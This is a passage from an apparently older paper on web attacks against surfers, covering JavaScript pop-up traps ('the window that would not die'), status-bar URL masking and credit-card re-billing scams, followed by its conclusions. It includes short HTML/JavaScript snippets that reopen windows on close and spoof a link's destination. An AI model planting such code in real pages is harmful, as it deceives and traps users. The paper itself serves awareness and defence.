techniquewhich regrettably also compromises some sites�functionality). Some examples of these attacks areshown below:13.1. The surfer-motelSurfer�s check in, but they can�t check out. This is anannoying technique that many web sites use to spamsurfers and entice them to spend money by inundatingthem with new windows. Javascript is used to open anew window whenever the surfer attempts to leave thesite.Typically, one company will have dozens (or hundreds)of web sites, so when the surfer attempts to leave oneweb site, a new window pops up for one of the othersites. This is done using the onUnload method inJavascript, which is invoked whenever a window orframe is replaced with another window (or when thewindow is closed). So one site would have code thatlooks like this, which references another site:<html><head><title>One Site</title></head><body onUnload="window.open(’http://other.com’, ’S2’)">This simple example can be extended to create �thewindow that would not die� (in this case, the Javascriptshould be placed in a file named rude.html, so thatthe URL points to itself).16<html><head><title>Rudeness!</title></head><body onUnload="window.open(’http://www.rude.com/rude.html’,’_blank’)"><h1>Try and get rid of me!</h1></html>As long as Javascript is enabled, any time the offendingwindow is unloaded or closed, it reappears. On theOS/2 version of Netscape 3.5, if the surfer tried theradical approach of killing the browser (with no lesspowerful an incantation than CTRL-ALT-DEL), it wouldimmediately restart itself and re-open this window!13.2. URL maskingThis is a fairly benign attack using Javascript, whereinthe surfer is persuaded to go to a site other than whatthey intend. Ordinarily, the URL of a hyperlink isdisplayed in the bottom left of the browser window

16An absolute URL (including the site name) is required,otherwise Netscape outsmarts the malicious code.

when the mouse is moved over the link. Some sitesobscure this, or even intentionally mislead the surfer byusing Javascript. Here is a simple example where a linkadvertises one site, but takes the surfer to a competitor.<A HREF="http://www.pepsi.com/uncola.html"onMouseOver="window.status=’http://www.coke.com’;return true"onMouseOut="window.status=’’;return true">It’s The Real Thing</A>In this example, when the surfer moves the mouse overthe hyperlink, the browser indicates that it will go toone company, when in fact it is the competitor that isvisited when the link is traversed. Combining thisattack with frame spoofing can create a fraud that is verydifficult to detect by the average surfer.13.3. Credit-card ChurningUnscrupulous web sites can steal from unsuspectingsurfers in a number of ways. One of the most prevalentforms of attack is with recurring billing. A credit cardis required (as a means of proving the surfer is the ageof majority) for a �free� one-week membership, but thefine print states that the card will be re-billed atmonthly intervals if the membership is not canceled.Many surfers fail to read the fine-print, and so are re-billed each month for membership in a site they havelong forgotten about. Another technique is to place the�cancel my membership� page in a hard-to-locate place.Of course, some sites ask for credit cards with nointention of giving a membership, but only to stealcredit-card information. Fortunately, this virulent attackis rare, but it is all too easy to make. Surfer awarenessis the only defense˚— only deal with companies youknow, or who use credit-card verification systems thatyou know. And as obvious as it sounds, you shouldalways examine your credit card bills for mysteriouscharges.14. ConclusionsAlthough the Internet started out as a nice, safe place totravel, we must realize that with all the gold to be won,the day of the Information Superhighwayman is uponus. Unless we are careful and ever-watchful, he (or she)will come riding˚— riding, riding˚— up to our electronicfront door.17

17With apologies to Alfred Noyes (1880-1958) author ofThe HighwaymanSome attacks, such as those upon surfers usingJavascript, are indirectly the result of well-intentionedbut security-unaware browser developers, and theexploitation of their security holes by webmasters.With no oversight of proprietary browser develpment,there is little that the average surfer can do to protectthemselves. Other attacks, such as those involving datatheft, password cracking and password posting, are theactions of malicious surfers or competitors. Theseattacks can be defended against with proactive or reactivedetection systems.Whatever the origins of the attacks, awareness andconstant (potentially automated) vigilance are the onlymeans to defeating them. And since the law appears tobe not a idiot, but merely a long way from catching upfrom the recent rapid advances in technology, it is up tothe netizens themselves (and most especially, thepotential targets of attacks), to provide their ownsecurity perimeters.Hopefully this brief examination of some of thecommon attacks used on the Web will raise the reader�sawareness enough to effect a secure perimeter.